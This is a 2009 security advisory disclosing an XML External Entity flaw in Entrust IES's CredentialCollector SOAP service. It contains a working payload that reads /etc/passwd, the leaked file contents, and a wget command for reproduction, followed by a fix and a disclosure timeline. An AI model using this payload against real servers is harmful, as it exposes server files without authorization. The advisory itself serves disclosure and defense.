Entrust IES Vulnerable to XXE Attacks
  =====================================

    Sverre H. Huseby
    2009-06-15

    Micro summary: Using specially crafted SOAP requests, it is
    possible to make IES return the contents of (some) server-local
    files.

  The Identification and Entitlements Server (IES) from Entrust
  appears to be vulnerable to XML External Entitity (XXE) attacks.
  This kind of attack was first described by Gregory Steuck in a post
  to Bugtraq in 2002: http://www.securityfocus.com/archive/1/297714
  For another XXE Attack example, see my report of a similar bug in
  Adobe Reader in 2005: http://shh.thathost.com/secadv/adobexxe/

  Note: This attack has only been tested with the CredentialCollector
  service.  It may be present in other parts of IES as well, and even
  in other Entrust products relying on incoming XML messages
  (e.g. SOAP-based services).

  In order to provide programmatic login based on username and
  password, the CredentialCollector accepts incoming SOAP messages
  that look like this:

    <?xml version="1.0" encoding="UTF-8"?>
    <soapenv:Envelope
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <soapenv:Header>
            <ns1:Security xmlns:ns1="http://schemas.xmlsoap.org/ws/2002/12/secext">
                <ns1:UsernameToken wsu:Id="GA_001"
                    xmlns:wsu="http://schemas.xmlsoap.org/ws/2002/07/utility">
                    <ns1:Username>JoeBossman</ns1:Username>
                    <ns1:Password>Apple1995</ns1:Password>
                </ns1:UsernameToken>
            </ns1:Security>
        </soapenv:Header>
        <soapenv:Body>
            <ns2:RequestSecurityToken
                xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"
                xmlns:ns2="http://schemas.xmlsoap.org/ws/2002/12/secext">
                <ns2:TokenType>saml:Assertion</ns2:TokenType>
                <ns2:RequestType>ReqIssue</ns2:RequestType>
                <ns2:Base><ns2:Reference URI="#GA_001"/></ns2:Base>
            </ns2:RequestSecurityToken>
        </soapenv:Body>
    </soapenv:Envelope>

  If the incoming username refers to a non-existing user, the response
  will include the following tag:

    <soap:faultstring>Unknown user - JoeBossman</soap:faultstring>

  You may notice that the ns1:Username from the request has been
  echoed back in the response.  Let's try passing a request in which
  the username is not plain text, but rather an entity that refers to
  a local file on the computer.  We modify the above request to look
  like this:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
        <!ELEMENT foo ANY>
        <!ENTITY xxe SYSTEM "/etc/passwd">
    ]>
    <soapenv:Envelope
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <soapenv:Header>
            <ns1:Security xmlns:ns1="http://schemas.xmlsoap.org/ws/2002/12/secext">
                <ns1:UsernameToken wsu:Id="GA_001"
                    xmlns:wsu="http://schemas.xmlsoap.org/ws/2002/07/utility">
                    <ns1:Username>&xxe;</ns1:Username>
                    <ns1:Password>Apple1995</ns1:Password>
                </ns1:UsernameToken>
            </ns1:Security>
        </soapenv:Header>
        <soapenv:Body>
            <ns2:RequestSecurityToken
                xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"
                xmlns:ns2="http://schemas.xmlsoap.org/ws/2002/12/secext">
                <ns2:TokenType>saml:Assertion</ns2:TokenType>
                <ns2:RequestType>ReqIssue</ns2:RequestType>
                <ns2:Base><ns2:Reference URI="#GA_001"/></ns2:Base>
            </ns2:RequestSecurityToken>
        </soapenv:Body>
    </soapenv:Envelope>

  Note the addition of a DOCTYPE defining the entity "xxe" as a
  reference to the file /etc/passwd, and the ns1:Username tag that now
  contains a reference to the new entity.

  When we pass this request to the server, we get a reply that
  contains the following:

    <soap:faultstring>Unknown user - root:x:0:0:Super-User-ast-win06:/root:/sbin/sh
    daemon:x:1:1::/:
    bin:x:2:2::/usr/bin:
    sys:x:3:3::/:
    adm:x:4:4:Admin:/var/adm:
    lp:x:71:8:Line Printer Admin:/usr/spool/lp:
    uucp:x:5:5:uucp Admin:/usr/lib/uucp:
    nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
    smmsp:x:25:25:SendMail Message Submission Program:/:
    listen:x:37:4:Network Admin:/usr/net/nls:
    gdm:x:50:50:GDM Reserved UID:/:
    webservd:x:80:80:WebServer Reserved UID:/:
    postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh
    svctag:x:95:12:Service Tag UID:/:
    nobody:x:60001:60001:NFS Anonymous Access User:/:
    noaccess:x:60002:60002:No Access User:/:
    nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
    entrust:x:4000:4000:Telenor WIN user:/home/entrust:/usr/bin/bash
    </soap:faultstring>

  (A lot of lines have been removed from the output for obvious
  reasons.)  You will probably recognize the output as a typical
  Solaris /etc/passwd file.

  Note: The attack is limited to files containing text that the XML
  parser will allow at the place the External Entity is
  referenced. Files containing non-printable characters, and files
  with randomly located less than signs or ampersands, will not be
  includable.

  Steps to Reproduce
  ------------------

    * Save the above XML in a file named xxe.xml

    * Edit the file so that the first line has no leading whitespace.

    * Use wget to post the contents of the file to a GetAccess server
      with IES support (replace HOSTNAME with the correct name):

        wget -S -O- --post-file=xxe.xml \
          http://HOSTNAME:50002/ies/CredentialCollector

  Solution
  --------

  Entrust should make sure the XML parser will not follow URIs to
  External Entities, or make it follow known good URIs (white listed
  URIs) only.  With some parsers one may install a custom made entity
  resolver and have it control the inclusion of the URI. With other
  parsers one can instead just say setExpandEntityReferences(false),
  but note that this setting may be ignored by some of the parsers.
  Testing will be needed.

  Notification Tracking
  ---------------------

  2009-06-15: Entrust notified.
  2010-02-10: Patch available:
    https://secure.entrust.com/trustedcare/troubleshooting/e10-004.pdf